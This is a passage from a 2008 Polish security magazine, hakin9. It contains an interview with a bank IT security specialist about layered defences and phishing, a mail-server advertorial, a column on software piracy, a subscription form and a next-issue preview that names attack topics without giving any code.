przygotowujących do egzaminu CCNA, a zawartość każdej
z płyt CD to dodatkowa wiedza, którą warto posiadać.
Według nowego zakresu materiału, który trzeba opa-
nować na egzamin CCNA, niezbędne są podstawy wiedzy
o sieciach bezprzewodowych i bezpieczeństwie, czego
w tych książkach brakuje. Powoduje to, że kurs staje się
niepełny, a Czytelnik zmuszony jest do uzupełnienia braków
z innych źródeł, np. kursów Cisco, takich jak Fundamentals
of Wireless LANs czy Fundamentals of Network Security.
Na dodatek w książce omówiono technologie ISDN i DDR,
które do nowego egzaminu CCNA nie są już niezbędne.
Podsumowując, komplet tych książek stanowi dość
dobre przygotowanie teoretyczne do egzaminu CCNA, jed-
nakże nabytą za jego pośrednictwem wiedzę powinno się
uzupełnić o wspomniane brakujące zagadnienia. Należy
także przećwiczyć zagadnienia praktyczne na symulato-
rze (zawartym na załączonym CD) lub na żywym sprzę-
cie – bądź to zdalnie na jednym z wielu labów dostępnych
w Internecie, bądź to na swoim własnym sprzęcie, który
można relatywnie tanio skompletować.
Jan Niedźwiedź
www.hakin9.org
hakin9 Nr 2/2008
74
Wywiad
hakin9:
Na czym polega Pana praca?
Witosław Wolański: Tworzę polityki bezpieczeń-
stwa i standardy dotyczące różnych aspektów
pracy systemu informatycznego, oceniam i opi-
niuję projekty informatyczne pod kątem bezpie-
czeństwa rozwiązań, obserwuję i analizuję co-
dzienną pracę systemu informatycznego, po-
szukując przejawów zagrożeń oraz nadzoru-
ję cały proces obsługi incydentów w systemie,
współpracuję z jednostkami zajmującymi się ry-
zykiem operacyjnym banku.
h9:
Jak wielu pracowników czuwa nad tym, aby
zapewnić bezpieczeństwo, jak duży jest dział
bezpieczeństwa IT w Waszym banku?
WW:
Rozumienie pojęcia bezpieczeństwa sys-
temu informatycznego ewoluuje i się rozszerza.
Kiedyś przez bezpieczeństwo rozumiano ochro-
nę przed zagrożeniami z Internetu. Dzisiaj nadal
jest to istotne źródło zagrożeń, jednak mecha-
nizmy ich przenikania są zupełnie inne i wy-
magają innego podejścia. Zespół pracowników
bezpośrednio zajmujących się sprawami tech-
nicznymi bezpieczeństwa systematycznie się
rozrasta, kompetentnie ogarniając nowe ob-
szary zagrożeń. Moją ambicją jest, aby wszy-
scy pracownicy IT rozumieli zagadnienia bez-
pieczeństwa, zwłaszcza w obszarze swojej pra-
cy oraz interakcji z systemem informatycznym.
W ten sposób dzięki indywidualnej świadomo-
ści można się przybliżyć do ideału, którym jest
respektowanie wymagań bezpieczeństwa i trak-
towanie tego jako naturalnego składnika każde-
go procesu i działania. To wymaga stałej uwa-
gi, podnoszenia kwalifikacji i rozszerzania świa-
domości. Nawet najliczniejsza komórka speców
security nie ogarnie wszystkich zagrożeń, jeśli
inni użytkownicy systemu nie będą przestrzegali
choćby podstawowych zasad higieny.
h9:
Czy prowadzone są szkolenia dla pracow-
ników dotyczące bezpieczeństwa systemu tele-
informatycznego banku?
WW:
Oczywiście. Stosowane są różne formy
i jest kładziony nacisk na działania uświadamia-
jące, zwłaszcza poprzez naukę na przykładach
– czy to w formie indywidualnej, czy zbiorowej.
Szczególnie ważne jest to w obszarze banko-
wości internetowej – pracownik, nie będący
przecież ekspertem informatycznym, musi do-
brze rozumieć, na czym polegają zagrożenia,
z którymi może się zetknąć Klient, żeby potra-
fić przystępnie i skutecznie przekazać zasady
bezpiecznego używania konta elektroniczne-
go. Klienci mają do swojej dyspozycji wsparcie
nie tylko pracowników w placówkach banku, ale
Witosław Wolański
– specjalista IT w Banku
Nordea
W Nordea Bank Polska pracuję od
dwóch lat. Mimo, że moje stanowisko
nazywa się specjalista ds. polityki
bezpieczeństwa systemu IT, swoją rolę
widzę dużo szerzej. Zajmuję się ogólnie
pojętym bezpieczeństwem systemu
informatycznego banku, w tym również
wydajnością pracy całego systemu lub
jego istotnych części, których utrata
wpływa na przetwarzanie danych
i jakość obsługi naszych Klientów.
Wywiad
hakin9 Nr 2/2008
www.hakin9.org
75
również pracowników Call Center oraz szczegółowe arty-
kuły w witrynie internetowej www.nordea.pl.
Nie muszę chyba dodawać, że zagadnienia bezpiecz-
nej pracy z systemem informatycznym są ujęte w instruk-
cjach dla pracowników, z którymi każdy musi się szcze-
gółowo zapoznać i przestrzegać ich zaleceń.
h9:
Jakie środki bezpieczeństwa informatycznego stosuje
się w bankowości i jak duże pociąga to za sobą koszty?
WW:
Trudno mi podać liczby. Niewątpliwie w bankowo-
ści (może poza niektórymi instytucjami rządowymi) są
one największe. Oszczędności w dziedzinie bezpieczeń-
stwa są zawsze pozorne i prędzej czy później słono kosz-
tują. Często o wiele większe koszty to nie te materialne,
od których banki są w dużej mierze ubezpieczone, ale
koszty związane z utratą reputacji banku czy nadszarp-
nięciem zaufania Klientów.
Niezawodność systemów informatycznych banku jest
postrzegana przez Klientów podobnie jak bezpieczeń-
stwo. Dlatego oba te elementy w prawidłowo zaprojek-
towanych i wdrożonych systemach bankowych są nie-
rozdzielne. Proszę sobie wyobrazić wszystkie ele-
menty jakiegokolwiek systemu podwojone – sprzęt, łą-
cza, licencje oprogramowania, a do tego zastosowanie
specjalnych technologii zapewniających płynną pracę
w przypadku awarii elementu systemu czy też osob-
nych systemów do monitorowania, mających na celu
wczesne wykrywanie symptomów zwiastujących awa-
rię. To kosztuje.
h9:
Jaki jest według Pana najlepszy system obrony przed
włamywaczami? Czy obecne zabezpieczenia systemów IT
są wystarczające do walki z elektronicznymi przestępca-
mi?
WW:
Nie ma jedynej słusznej i w pełni niezawodnej me-
tody obrony. W systemie bankowym stosowane są liczne
i niezależne warstwy obrony, wspomagane odpowiedni-
mi urządzeniami monitorującymi, analizującymi i alarmu-
jącymi. To oczywiście nie powinno usypiać czujności – te
wszystkie urządzenia, oprogramowanie, tworzyli ludzie
i zapewne są w nich błędy czekające tylko na odkrycie
i wykorzystanie przez hakerów.
Bardziej niepokojące jest jednak co innego – koncentrowa-
nie się potencjalnych włamywaczy na najsłabszym ogni-
wie, będącym zupełnie poza kontrolą banku – na kompute-
rze użytkownika bankowości internetowej. Na ogół względ-
nie łatwo jest włamać się na taki komputer, co w połączeniu
z rosnącym wyrafinowaniem szkodliwego oprogramowania,
które jest stosowane do śledzenia działań ofiary, powoduje,
że w trosce o dobro Klientów banki są bezpośrednio zainte-
resowane podnoszeniem bezpieczeństwa narzędzi używa-
nych przez nich do obsługi kont internetowych. Na przykład
bank Nordea w Szwecji udostępniał swoim Klientom aplika-
cję chroniącą przed szkodliwym oprogramowaniem.
Należy również mieć na uwadze odwieczny konflikt po-
między łatwością użycia a bezpieczeństwem i koniecz-
nością poszukiwania jakiegoś kompromisu w tym zakre-
sie. Klient niechętnie będzie używał niewygodnych wyra-
finowanych zabezpieczeń, które będą wymagały od nie-
go uwagi. A te kompromisy otwierają nowe drogi włamań,
co obserwujemy w postaci coraz większego zaintereso-
wania atakami typu Cross Site Scripting czy Code Injec-
tion. Czy twórcom przeglądarek śniły się fuzzery?
h9:
Czy korzystacie z usług hakerów dla celów testowa-
nia systemów zabezpieczeń?
WW:
Stale monitorujemy logi naszych systemów i ana-
lizujemy podejmowane przez hakerów próby włamania
czy też obmacywania systemu. Trudno to nazwać bezpo-
średnim korzystaniem z usług hakerów, ale wiele na tym
można skorzystać.
Internet jest kopalnią hakerskich informacji. Śledząc róż-
ne wątki informacyjne i postępy potencjalnych intruzów,
jesteśmy w stanie tę wiedzę zastosować. To też sposób
na wykorzystanie pracy hakerów.
h9:
Czy często dochodzi do ataków na serwery banku
i czy wszystkie są udaremniane?
WW:
Jak już wspomniałem, system obrony jest wielowar-
stwowy – trudno pokonać wszystkie warstwy naraz. Je-
śli przez atak rozumieć skanowanie portów serwerów, to
można powiedzieć, że jest on nieustanny. Nie zdarzył się
jeszcze skuteczny atak w takim sensie, że np. dokonano
by wyprowadzenia środków z konta Klienta.
R
E
K
L
A
M
A
hakin9 Nr 2/2008
www.hakin9.org
Wywiad
76
h9:
Czy na przykładzie Państwa banku można stwierdzić,
że liczba przestępstw typu phishing rośnie bądź maleje?
WW:
To zależy, w jakiej skali patrzeć na Nordeę. Bank
Nordea Polska nie jest w Polsce najbardziej atrakcyj-
nym celem takiego ataku i nie słyszałem, aby wobec
niego podjęto phishing. Inaczej się przedstawia sprawa
w Skandynawii, gdzie pozycja Grupy Nordea jest wiodą-
ca i ataki typu phishing są na porządku dziennym. Ogól-
nie rzecz biorąc skuteczność tego typu ataków opiera się
na wykorzystaniu nieświadomości Klientów banku oraz
słabości metod autentykacji użytkownika w systemie
bankowości internetowej. Zjawisko phishingu jest ciągle
obserwowane i analizowane. Banki podejmują odpowied-
nie środki uniemożliwiające lub przynajmniej utrudniają-
ce atakującemu skuteczne wykorzystanie kodów przeję-
tych w wyniku phishingu.
h9:
Jakie systemy bezpieczeństwa działają w Państwa
banku?
WW:
Tak jak wspomniałem – wielowarstwowa ochro-
na poszczególnych elementów systemu, z filtrowaniem
ruchu sieciowego, jego analizą, wykrywaniem anomalii
i bazodanowym powiadamianiem, separacją warstw apli-
kacji i serwerów. Ze zrozumiałych względów trudno mi
wdawać się w szczegóły.
h9:
Jaki standard szyfrowania jest używany przy trans-
akcjach?
To łatwo sprawdzić w przeglądarce – SSL 128-bit.
h9:
Jakie zabezpieczenia posiada proces logowania na
stronie banku Nordea, w jaki sposób logowanie jest za-
bezpieczone przed sniffingiem?
WW:
System bankowości internetowej SOLO ma standar-
dowe dwuelementowe zabezpieczenia w każdej z form
uwierzytelniania Klienta – coś, co Klient wie oraz coś, co
Klient ma. W przypadku korzystania z uwierzytelniania przy
użyciu zestawu do podpisu elektronicznego dane uwierzy-
telniające są bezpiecznie pobierane z karty chipowej i bez-
pośrednio przekazywane do aplikacji – nie ma możliwo-
ści ich podsłuchania. W przypadku innych form zagrożenie
podsłuchania jest takie samo, jak przy wprowadzaniu da-
nych do przeglądarki – jeśli w systemie jest szkodliwe opro-
gramowanie, które to potrafi, to nie ma przed czymś takim
pewnego zabezpieczenia. To jest właśnie najsłabsze ogni-
wo, o którym wspominałem wcześniej. Protokół SSL uwa-
żany jest za bezpieczny – oczywiście pod warunkiem, że
Klient upewni się, że rzeczywiście komunikuje się z serwe-
rem banku, a nie serwerem pośredniczącym.
h9:
Czy bank Nordea korzysta z SPERT – Systemu Pro-
wadzenia Elektronicznego Rejestru Transakcji?
WW:
W banku są odpowiednie komórki zajmujące się
analizą i zgłaszaniem podejrzanych transakcji –korzysta-
ją z innego systemu.
h9:
Czy bank korzysta z FinDet – inteligentnego systemu
do wykrywania i rejestracji transakcji podejrzanych?
WW:Bank korzysta z innego systemu.
h9:
Jak wygląda odpowiedź banku na potencjalny atak
– czy fakt taki jest zgłaszany organom ścigania? Jakie
są ich reakcje?
WW:
Trudno dać jednoznaczną odpowiedź – wszyst-
ko zależy od charakteru ataku, jego zasięgu, uporczy-
wości itd. Kilka razy miałem osobiście do czynienia z or-
ganami ścigania przy wyjaśnianiu incydentów informa-
tycznych, ale nie związanych z atakiem na bank Nordea.
Byłem pozytywnie zaskoczony otwartością i wolą współ-
pracy. Z drugiej strony mogłem się przekonać, z jak sub-
telnymi problemami mamy do czynienia w przypadku
incydentów w systemach informatycznych. Rozumienie
prawa i wymagania prawne stawiane organom ściga-
nia w zakresie dokumentowania przestępstwa powodują,
że bardzo trudno doprowadzić jakiekolwiek śledztwo
do fazy, w której można postawić oskarżenie. W wielu
przypadkach ślady są tak nikłe i nienamacalne, że nawet
trudno znaleźć uzasadnienie dla kontynuacji śledztwa.
h9:
W jaki sposób firma broni się przed eksploitami zero-
day? Jakie są pasywne środki ochrony informacji klien-
tów banku (kopie bezpieczeństwa)?
WW:
To pytania trochę z różnych dziedzin.
Są różnego rodzaju zero-day exploits. Powiedzmy,
że najpopularniejsze dotyczą wykorzystania luk w doku-
mentach pakietu MS Office. Jeśli zagrożenie i prawdo-
podobieństwo ataku jest wysokie, podejmowane są od-
powiednie kroki w celu utrudnienia przenikania tego typu
dokumentów do systemu informatycznego. W przypadku
zagrożonych usług serwerowych liczymy się nawet z ko-
niecznością ograniczenia lub wyłączenia usług, ale jesz-
cze do tego typu sytuacji nie doszło. Tego typu zjawiska
są na bieżąco śledzone w Internecie i stosownie do roz-
woju wydarzeń podejmujemy na bieżąco decyzje o dzia-
łaniach zapobiegawczych.
Informacje Klientów chronione są zgodnie z wymagania-
mi ustaw regulujących ochronę informacji przetwarza-
nych przez banki – m. in. Ustawy Prawo Bankowe oraz
Ustawy o Ochronie Danych Osobowych. Dodatkowo roz-
szerzenia tych wymagań zawarte są w wewnętrznej po-
lityce bezpieczeństwa informacji oraz zasadach pracy
w systemie informatycznym. Generalnie obowiązuje za-
sada dostępu do informacji na zasadzie uprawnionej ko-
nieczności – tylko osoby, których praca wymaga dostępu
do danej informacji, mogą taki dostęp uzyskać. W przy-
padku danych Klientów, przypadki dostępu są dodatko-
wo monitorowane i rejestrowane. Oczywiście trudno so-
bie wyobrazić system bez kopii bezpieczeństwa i archiwi-
zacji danych – także jest to system wielowarstwowy i da-
ne są chronione w całym cyklu życia poszczególnych no-
śników, na każdym etapie.
h9:
W kilku słowach: dlaczego klienci Pana banku powin-
ni czuć się bezpieczni operując kontem przez Internet?
WW:
Eksperci jednego z branżowych miesięczników
uznali system bankowości internetowej SOLO Nordea
Bank Polska za jeden z najbezpieczniejszych na polskim
rynku. Trudno chyba o lepszą rekomendację.
h9:
Dziękujemy za rozmowę.
WW:
Dziękuję. l
Reklama
77
Klasyczny serwer poczty oparty o pro-
tokół POP3/SMTP pozwala jedynie na
przesyłanie i odbieranie poczty. Nie jest
to najwygodniejsza forma współpra-
cy, ponieważ jeśli jeden plik ma zostać
przesłany do kilku odbiorców na tym sa-
mym serwerze, to tworzonych jest kilka
kopii tej samej wiadomości. Dodatkowo
każda wiadomość musi zostać w cało-
ści przesłana i odebrana przez serwer,
co obciąża pasmo, zasoby oraz infra-
strukturę. Ponadto przy większej ilości
e-maili administracja kontem staje się
uciążliwa – protokół wymusza korzy-
stanie tylko z jednego katalogu dla ca-
łej poczty. Rozwiązaniem tych wszyst-
kich problemów jest serwer poczty
korzystający z protokołu IMAP. Dosko-
nałym przykładem takiego rozwiązania,
jako serwera poczty oraz pracy grupo-
wej, jest Kerio MailServer.
Kerio MailServer pozwala użyt-
kownikom komunikować się za po-
mocą poczty e-mail oraz umożli-
wia współdzielenie zasobów. Ca-
ła poczta jest przechowywana po
stronie serwera, dzięki czemu użyt-
kownik nie musi jej pobierać na swój
komputer. Rozwiązanie to spraw-
dza się doskonale w przypadku ko-
rzystania z poczty z wielu kompu-
terów – niezależnie od komputera,
z którego korzystamy, mamy pełen
wgląd do całej poczty. Istotną ce-
chą wyróżniającą Kerio MailServer
jest możliwość tworzenia katalogów
publicznych oraz możliwość udo-
stępnienia plików i folderów kon-
kretnym użytkownikom – teraz nie
ma już potrzeby wysłania jednego
pliku wszystkim odbiorcom, można
go po prostu udostępnić.
Kerio MailServer pomaga rów-
nież zarządzać pracą użytkowni-
ków. Funkcjonalność kalendarza
i zadań pozwala przydzielać za-
dania poszczególnym użytkowni-
kom lub całym grupom oraz obser-
wować stopień ich wykonania. Ka-
lendarz pozwala rezerwować czas,
a także informować innych użyt-
kowników o swojej dostępności
lub niedostępności. Oczywiście te
obiekty również mogą być udostęp-
nione do wglądu lub modyfikacji in-
nym osobom korzystającym z ser-
wera. Ponadto można dzielić się
również kontaktami – baza adre-
sów e-mail może być udostępnia-
na określonym użytkownikom lub
całym grupom. Niewątpliwą zaletą
serwera jest dostęp do jego zaso-
bów – nie musimy instalować żad-
nego dodatkowego oprogramowa-
nia – możemy korzystać ze stan-
dardowego klienta Microsoft Outlo-
ok (wraz ze specjalną wtyczką).
Istnieje również możliwość połącze-
nia do serwera za pomocą specjal-
nej strony WWW – za jej pośrednic-
twem możemy uzyskać identycz-
ną funkcjonalność, jak w przypad-
ku używania klienta poczty. Funk-
cjonalność ta sprawia, że możemy
korzystać z zasobów poczty w bez-
pieczny sposób – praktycznie z do-
wolnego komputera na świecie, bez
instalacji jakiegokolwiek oprogra-
mowania.
W wielu firmach pracownicy ko-
rzystają z komputerów PDA. Jest to
wygodne rozwiązanie, umożliwiają-
ce dostęp do firmowych zasobów
z każdego miejsca na świecie. Rów-
nież w Kerio Mail Server urządze-
nia tego typu są w pełni wspiera-
ne. Dzięki technologiom RoadSync
oraz NotifySync użytkownik nie-
zwłocznie otrzymuje wiadomości,
które znajdują się w jego skrzynce
odbiorczej. Także wszystkie aspek-
ty pracy grupowej mogą być obsłu-
giwane za pomocą tych urządzeń.
Bardzo ciekawą i przydatną opcją
jest technologia Kerio SmartWipe.
W przypadku kradzieży lub zgubie-
nia urządzenia administrator włą-
czając tę funkcję zabezpiecza da-
ne przed kradzieżą. Przy kolejnym
logowaniu do systemu z PDA usu-
wane są wszystkie informacje zwią-
zane z pocztą elektroniczną (m. in.
hasła i loginy), co sprawia, że zło-
dziej nie ma możliwości odczytania
żadnych istotnych danych.
Kerio Mail Server to doskonałe
rozwiązanie dla małych i średnich
przedsiębiorstw. Produkt otrzymał
wiele nagród na międzynarodo-
wych konferencjach, m. in. na Li-
nuxWorld Expo otrzymał zaszczyt-
ny tytuł LinuxWorld Product Excel-
lence Award: Best Messaging Solu-
tion, a przez PC PRO Magazine zo-
stał uznany najlepszym odpowied-
nikiem oprogramowania Microsoft
Exchange.
Kontakt:
Sun Capital Sp. z o.o.
ul. Deszczowa 56
53-024 Wrocław
tel. (71) 360 81 00
www.kerio.pl
www.suncapital.pl
sprzedaz@suncapital.pl
Prowadzenie biznesu wymaga ciągłego kontaktu z kontrahentami i klientami.
Firma Kerio posiada w swojej ofercie oprogramowanie, które pozwala na
efektywną i bezpieczną komunikację e-mail oraz umożliwia skuteczną współpracę
wewnątrz przedsiębiorstwa.
Kerio MailServer jako system
poczty i pracy grupowej dla firm
hakin9 Nr 2/2008
www.hakin9.org
78
S
ą zepsutymi do szpiku kości, nieskrępowanymi
wielbicielami niczym nieograniczonej elektronicz-
nej komunikacji. Potrafią ukrywać się za maskami
ekranów, będąc jednocześnie niewidocznymi i ukrytymi.
W ten sposób dają upust swoim rzeczywistym pragnieniom.
Traktują szczelinę pomiędzy rzeczywistością a pozorem
jako czystą zabawę. Skryci w czeluściach cyberprzestrze-
ni oddychają z ulgą od napięć codziennego życia. Patrząc
na swoje lustrzane odbicia nie widzą samych siebie, lecz
jednego z głównych bohaterów drugiego świata. Zanurzeni
w Sieci nie podlegają ograniczeniu, lecz ciągłemu rozwo-
jowi, otwierając innym oczy na rzeczywistość zewnętrzną.
Z ich usług korzysta co drugi dzisiejszy internauta, siedzą-
cy w samotności przed ekranem peceta, laptopa, a nawet
komórki. To wszystko stymuluje budowę wspólnot goto-
wych podzielić się każdą nową zdobyczą. Powód? Przy-
jemność. Samospełnienie? Pokazanie zadufanym w sobie
pyszałkom, że można? Też, ale i coś więcej. Historia ich
sięga początków pierwszego oprogramowania. Już w tych
czasach w odbiciu ekranu można było rozpoznać w nich
ludzi pomijających różne, złożone czynniki materialne rzą-
dzące innymi. W ich magicznym życiu nie istnieje domena
komercji, lecz rzeczywistość wirtualna, która pozwala im
na tworzenie niepokojącego nadmiaru darmochy.
Piraci komputerowi stanowią różne tożsamości spo-
łeczne – są mniej lub więcej szanowanymi w społe-
czeństwie osobami, których normalne odruchy tłumione
są wraz z coraz bardziej zaostrzanym prawem kompu-
terowym. We wczesnych latach, kiedy warunki dla takiej
zabawy stanowiły raczkujące przepisy regulujące możli-
wości wykorzystania programów, nikt specjalnie nie przej-
mował się ujawnianiem drugiego obiegu gier, oprogramo-
wania czy sprzętu. Dzisiaj wedle postanowień Kodeksu
Karnego już samo posiadanie nielegalnej kopii oprogramo-
wania traktowane jest na równi z paserstwem. Im poważ-
niejszy oficjalny zakaz występujący w społeczeństwie, tym
większa i bardziej skryta jest współpraca podziemia. Dla-
tego należy spodziewać się, że nie tylko zakazane treści
znowu będą dostępne dla wybranych w kręgu zaufania, ale
także jednoznaczna identyfikacja twórców pirackich kopii
rozpowszechnianych za pomocą Internetu stanie się zada-
niem dla wyrafinowanej informatyki śledczej. Głównymi
grzechami wyliczanymi piractwu są: okradanie z realnych
Socjo-cyber-piraci
przestrzeni
zysków autorów danego dzieła, znaczny wpływ na zwięk-
szenie cen dla uczciwych użytkowników oraz spowalnianie
procesu powstawania nowych produktów poprzez ograni-
czanie liczby dodatkowych miejsc pracy w branży informa-
tycznej. Trudno rozstrzygnąć spór, kto rozpoczął tę wojnę.
Czy chciwe korporacje i firmy przyczyniły się do wykształ-
cenia darmowej alternatywy – czy ta sama alternatywa, nie
chcąc płacić za cokolwiek, zmusiła korporacje i firmy do
wywindowania cen? Bo przecież najczęściej podawanym
powodem, dla którego użytkownicy decydują się na nie-
legalne oprogramowanie, jest cena – nieproporcjonalnie
wysoka w stosunku do możliwości darmowych odpowied-
ników. Nie przeszkadza im nawet fakt, że w tym momencie
stają się uczestnikami procederu niezgodnego z prawem.
Prawdziwym eksperymentem byłoby obustronne zobowią-
zanie o kupnie oryginalnych wydawnictw autorskich, lecz
po cenie, która mogłaby zaspokoić obie strony transakcji.
W bardzo krótkim czasie okazałoby się, czy taka utopia ma
szansę przetrwać dłużej, a co najważniejsze, która ze stron
złamałaby ją jako pierwsza.
Z moralnego punktu widzenia piractwo jest złym
czynem i powinno być zwalczane. Jednak pośrednio – bez-
sprzecznie poszerza zasięg stosowania danych marek, bez
szkód dla wartości intelektualnej autorów; gorzej wypada,
jeśli chodzi o wartości komercyjne. Każdy zgodnie prze-
cież przyzna, że twórcy powinno przysługiwać wynagro-
dzenie za jego pracę (chociaż na szczęście ma on jesz-
cze prawo udostępniać efekty swojej twórczej pracy bez
żądania opłat). Piractwo przyczynia się także do migracji
w stronę zupełnie darmowego oprogramowania, finanso-
wanego z dobrowolnych wpłat użytkowników – lub kor-
poracji, widzących nowy potencjał dla swoich inwestycji.
Jednak z każdym rokiem technologie cyfrowe powodują
niewyobrażalny rozkwit twórczości komercyjnej, a prawo
w obawie o coraz większe straty wciąż bardziej ograni-
cza ich użycie poprzez obłąkańczo skomplikowane i nie-
jasne reguły. Piractwo jest interpretowane jako niedozwo-
lone wykorzystywanie czyjejś własności twórczej bez
uprzedniego zezwolenia. Uznając, że tam gdzie występuje
wartość (materialna lub intelektualna), tam z ochroną przy-
chodzi prawo – przyjmiemy, że cała historia przemysłu
komputerowego jest jedną wielką historią piractwa samą
w sobie. l
Patryk Krawaczyński agresor@nfsec.pl
Felieton
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
Zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
W lipcu i sierpniu ukazuje się jeden wakacyjny numer
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
11
3
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
hakin9 - jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
11
3
199
1
/219
.psd (2 płyty CD)
Miesięcznik użytkowników programu Adobe Photoshop
11
3
199
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
3DFX
Dwumiesięcznik miłośników grafiki trójwymiarowej
6
140
Suma
hakin9 Nr 2/2008
www.hakin9.org
82
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży na początku marca 2008 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
3/2008
w następnym numerze między
innymi:
Zapowiedzi
Formaty graficzne
z punktu widzenia bughuntera
Formaty graficzne (JPG, BMP, PCX, PNG, GIF etc.) z punktu widzenia ata-
kującego: gdzie mogą pojawić się błędy przy implementacji obsługi danego
formatu, co może pójść nie tak. Całość zilustrowana opisem bugów w opro-
gramowaniu, które pojawiły się na liście Bugtraq.
Hakowanie Visty
Artykuł będzie dotyczył systemu operacyjnego Windows Vista i opisywał
błędy, które umożliwiają zdalny dostęp do komputera.
Odzyskiwanie danych po ataku hakera
lub złośliwego kodu
Metody i narzędzia wykorzystywane przy odzyskiwaniu danych z różnych
nośników komputerowych, utraconych na skutek ataku hakera lub złośliwe-
go kodu.
Ukrywanie aplikacji
w kernelu systemu Windows
Autor wprowadzi Czytelnika do programowania kernel mode, odpowie na
pytanie dlaczego właśnie kernel mode?, a także pokaże dwie metody ukry-
wania procesów i sterowników – SSDT hooking oraz DKOM.
NA CD:
• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.
Atak
Obrona